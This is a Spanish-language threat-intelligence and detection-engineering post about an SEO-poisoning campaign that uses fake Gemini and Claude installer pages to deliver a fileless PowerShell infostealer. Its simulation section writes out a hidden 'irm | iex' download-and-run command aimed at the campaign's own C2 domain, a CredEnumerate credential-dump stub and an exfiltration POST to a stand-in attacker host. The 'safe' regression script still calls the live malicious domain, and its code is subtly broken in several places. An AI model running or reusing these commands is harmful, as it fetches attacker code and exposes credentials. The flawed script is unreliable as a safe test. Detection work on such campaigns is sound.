SOC Prime Bias: Medio

25 May 2026 16:29 UTC

Campaña de Envenenamiento de SEO Utiliza Códigos Gemini y Claude Engañosos para Entregar un Infostealer

Author Photo
SOC Prime Team linkedin icon Seguir
Campaña de Envenenamiento de SEO Utiliza Códigos Gemini y Claude Engañosos para Entregar un Infostealer
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Actores de eCrime motivados financieramente están utilizando envenenamiento SEO para impulsar dominios falsos que imitan instaladores para asistentes de codificación de IA. Las víctimas que copian y pegan un único comando de PowerShell desde estas páginas activan un ladrón de información sin archivos que se ejecuta completamente en memoria. El malware roba credenciales, cookies de sesión, claves VPN y archivos sensibles antes de extraer los datos de forma cifrada a un servidor de comando y control. La campaña está dirigida a estaciones de trabajo de desarrolladores de Windows y se mezcla con la actividad normal al abusar de herramientas de desarrollador familiares.

Investigación

Analistas de EclecticIQ rastrearon la infraestructura maliciosa a .co.com dominios que sirven cadenas de descarga de PowerShell a través de irm and iex. El script de primera etapa lanza una ventana de PowerShell oculta usando Shell.Application.ShellExecute, luego carga tipos adicionales de C# para recopilar credenciales, detalles del sistema y otros datos valiosos. Se observó la exfiltración a través de HTTP y HTTPS a events.msft23.com and events.ms709.com usando rutas URL específicas. El análisis pasivo de DNS vinculó la operación a un proveedor de hosting a prueba de balas en los Países Bajos y a un grupo más amplio de dominios con errores tipográficos.

Mitigación

Los defensores deben detectar y bloquear el irm | iex patrón de ejecución, ventanas de PowerShell ocultas y el uso sospechoso de Add-Type que involucra llamadas a P/Invoke. Las organizaciones deben aplicar el Modo de Lenguaje Restringido de PowerShell y usar AppLocker o WDAC para prevenir la ejecución de scripts desde contenido proveniente de internet. Restringir el acceso de escritura al portapapeles del navegador y aplicar tokens OAuth de corta duración para cuentas de desarrolladores puede reducir aún más la exposición. Los desarrolladores también deben estar entrenados para evitar comandos de copiar-pegar de sitios web no confiables.

Respuesta

Los equipos de seguridad deben alertar sobre procesos de PowerShell lanzados con -WindowStyle Hidden o invocados a través de Shell.Application.ShellExecute. Estos eventos deben correlacionarse con solicitudes HTTP salientes a dominios que coincidan con *-setup.com or events.*.com, especialmente cuando aparecen las rutas /take, /process, o /validate . Si se detecta este comportamiento, aísle el punto final afectado, recopile registros de PowerShell y realice la recopilación forense de datos del navegador y almacenes de credenciales.

graph TB %% Definiciones de Clases classDef action fill:#99ccff classDef tool fill:#ffdd99 classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef operator fill:#ff9900 %% Nodos – Acciones initial_access[«<b>Acción</b> – <b>T1189 Compromiso por Drive-by</b>: Resultados de búsqueda SEO envenenados entregan una página falsa de instalación de Gemini CLI / Claude Code.<br/><b>Subtécnicas</b> T1204.001 Ejecución por el usuario (enlace malicioso) y T1204.004 Ejecución por el usuario (PowerShell copiado y pegado en una sola línea).»] class initial_access action execution[«<b>Acción</b> – <b>T1059.001 PowerShell</b>: Script en memoria ejecutado mediante Shell.Application.ShellExecute, descarga y ejecución reflectiva (irm|iex).<br/><b>Ofuscación</b> T1027 y T1027.016 código basura.»] class execution action defense_evasion[«<b>Acción</b> – <b>T1562.001 Deshabilitar herramientas de seguridad</b>: Parcheo de amsi.dll, deshabilitar ETW, verificación de sandbox para qemu-ga.<br/><b>Subtécnica</b> T1562.006 Deshabilitar Event Tracing for Windows.»] class defense_evasion action credential_access[«<b>Acción</b> – <b>T1555.003 Credenciales de navegadores web</b>: Extracción de credenciales y cookies del navegador.<br/><b>Técnicas adicionales</b> T1555.004 Administrador de credenciales de Windows, T1552.001 Credenciales en archivos, T1552.002 Credenciales en registro, T1539 Robo de cookies de sesión web, T1550.004 Cookie de sesión web.»] class credential_access action discovery[«<b>Acción</b> – <b>T1057 Descubrimiento de procesos</b>: Enumeración de procesos mediante Restart Manager.<br/><b>Técnicas adicionales</b> T1083 Descubrimiento de archivos y directorios, T1217 Descubrimiento de información del navegador, T1497.002 Evasión de virtualización / sandbox.»] class discovery action collection[«<b>Acción</b> – <b>T1005 Datos del sistema local</b>: Recolección de archivos de usuario (*.txt, *.docx) y directorios sincronizados en la nube (T1039).»] class collection action command_and_control[«<b>Acción</b> – <b>T1071.001 Protocolos web</b>: Beacons HTTPS hacia endpoints events.msft23.com / events.ms709.com (/take, /process, /validate).<br/><b>Cifrado</b> lista de tareas cifrada con RSA (T1573) y descarga de payload (T1105 Transferencia de herramientas entrantes).»] class command_and_control action exfiltration[«<b>Acción</b> – <b>T1041 Exfiltración por canal C2</b>: Exfiltración cifrada de los datos robados.<br/><b>Subtécnica</b> T1020 Exfiltración automatizada.»] class exfiltration action %% Nodos – Herramientas / Malware tool_powershell[«<b>Herramienta</b> – <b>Nombre</b>: PowerShell<br/><b>Descripción</b>: Motor de scripting de Windows utilizado para ejecución en memoria.»] class tool_powershell tool tool_shellexecute[«<b>Herramienta</b> – <b>Nombre</b>: Shell.Application.ShellExecute<br/><b>Descripción</b>: Inicia ventanas ocultas para la ejecución de scripts.»] class tool_shellexecute tool tool_amsi_patch[«<b>Herramienta</b> – <b>Nombre</b>: Parche AMSI<br/><b>Descripción</b>: Modifica amsi.dll para evadir el análisis de scripts.»] class tool_amsi_patch tool tool_etw_disable[«<b>Herramienta</b> – <b>Nombre</b>: Desactivación ETW<br/><b>Descripción</b>: Desactiva Event Tracing for Windows para evitar detección.»] class tool_etw_disable tool tool_credmanager[«<b>Herramienta</b> – <b>Nombre</b>: API CredEnumerate<br/><b>Descripción</b>: Recupera credenciales del Administrador de Credenciales de Windows.»] class tool_credmanager tool tool_ssh_reg[«<b>Herramienta</b> – <b>Nombre</b>: Recolección de registro<br/><b>Descripción</b>: Lee contraseñas almacenadas de WinSCP y PuTTY desde el registro.»] class tool_ssh_reg tool tool_vpn[«<b>Herramienta</b> – <b>Nombre</b>: Recolector de configuración VPN<br/><b>Descripción</b>: Recopila archivos de configuración VPN para posible reutilización.»] class tool_vpn tool tool_wallet[«<b>Herramienta</b> – <b>Nombre</b>: Robo de billeteras cripto<br/><b>Descripción</b>: Extrae archivos de billeteras y claves privadas.»] class tool_wallet tool %% Conexiones – Flujo del ataque initial_access –>|conduce a| execution execution –>|usa| tool_powershell execution –>|usa| tool_shellexecute execution –>|contiene| tool_amsi_patch execution –>|contiene| tool_etw_disable execution –>|conduce a| defense_evasion defense_evasion –>|usa| tool_amsi_patch defense_evasion –>|usa| tool_etw_disable defense_evasion –>|conduce a| credential_access credential_access –>|usa| tool_credmanager credential_access –>|usa| tool_ssh_reg credential_access –>|usa| tool_vpn credential_access –>|usa| tool_wallet credential_access –>|conduce a| discovery discovery –>|conduce a| collection collection –>|conduce a| command_and_control command_and_control –>|usa| tool_powershell command_and_control –>|conduce a| exfiltration

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: La Comprobación de Prevuelo de Telemetría y Línea Base debe haberse aprobado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTP identificadas y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán a un diagnóstico erróneo.

  • Narrativa del Ataque y Comandos:
    Un atacante compromete una cuenta de usuario con bajos privilegios y ejecuta un one-liner de PowerShell a través de cmd.exe. El one-liner usa irm (Invoke‑RestMethod) para recuperar un script de PowerShell malicioso de events.msft23.com, lo canaliza a iex (Invoke‑Expression) para ejecutar completamente la carga útil en memoria, y oculta la ventana de PowerShell para evitar miradas indiscretas. La carga útil posteriormente carga un tipo .NET con Add‑Type para realizar una enumeración de credenciales usando la API CredEnumerate , extrayendo los datos recopilados sobre HTTPS. Todos los pasos se ejecutan sin escribir archivos en el disco, coincidiendo con la descripción de “sin archivo”.

    # Paso 1 – Lanzamiento de PowerShell oculto
    powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"

    El payload.ps1 descargado (ejecutado en memoria) contiene:

    # Paso 2 – Cargar tipo .NET para enumeración de credenciales
    $type = @"
    using System;
    using System.Runtime.InteropServices;
    public class Cred {
        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
    }
    "@
    Add-Type $type
    
    # Paso 3 – Iniciar volcamiento de credenciales y extraer
    $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr)
    $data = "Collected $count credentials"
    Invoke-RestMethod -Method Post -Uri https://attacker.c2/exfil -Body $data

    Esta secuencia genera los fragmentos de línea de comando que la regla Sigma coincide:

    • powershell.exe -WindowStyle Hidden
    • irm events.msft23.com | iex
    • Add-Type
    • advapi32.dll!CredEnumerate
  • Guión de Prueba de Regresión: El siguiente guión reproduce el comportamiento exacto en una estación de trabajo de prueba. Ejecútelo desde un aviso de PowerShell elevado.

    # Simulación de Infostealer de PowerShell Sin Archivos – TC-20260525-A7Z3K
    # ------------------------------------------------------------
    # Paso 1 – Ejecutar PowerShell oculto que descarga y ejecuta carga útil
    $command = 'powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"'
    Start-Process -FilePath "cmd.exe" -ArgumentList "/c $command" -WindowStyle Hidden
    
    # Contenido de payload.ps1 simulado (alojado localmente para pruebas seguras)
    $payload = @'
    $type = @"
    using System;
    using System.Runtime.InteropServices;
    public class Cred {
        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
    }
    "@
    Add-Type $type
    
    $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr)
    $data = "Collected $count credentials"
    # Simular exfiltración a un endpoint inofensivo
    Invoke-RestMethod -Method Post -Uri "https://httpbin.org/post" -Body $data
    '@
    
    # Escribir carga útil simulada en ubicación temporal para la prueba (simulando alojamiento remoto)
    $tempPath = "$env:TEMPpayload.ps1"
    Set-Content -Path $tempPath -Value $payload -Encoding UTF8
    
    # Servir la carga útil a través de un simple oyente HTTP local (para demostración)
    $listener = [System.Net.HttpListener]::new()
    $listener.Prefixes.Add("http://+:8080/")
    $listener.Start()
    Write-Host "Serving mock payload on http://localhost:8080/payload.ps1"
    while ($listener.IsListening) {
        $context = $listener.GetContext()
        if ($context.Request.Url.AbsolutePath -eq "/payload.ps1") {
            $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
            $context.Response.ContentLength64 = $bytes.Length
            $context.Response.OutputStream.Write($bytes,0,$bytes.Length)
            $context.Response.Close()
        }
    }
    # Nota: Detenga el oyente manualmente después de la validación.
  • Comandos de Limpieza: Eliminar archivos temporales y detener el oyente HTTP.

    # Limpieza después de la simulación
    Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue
    # Detener el oyente HTTP local (si todavía está en ejecución)
    Get-Process -Name "powershell" | Where-Object {$_.MainWindowTitle -match "payload"} | Stop-Process -Force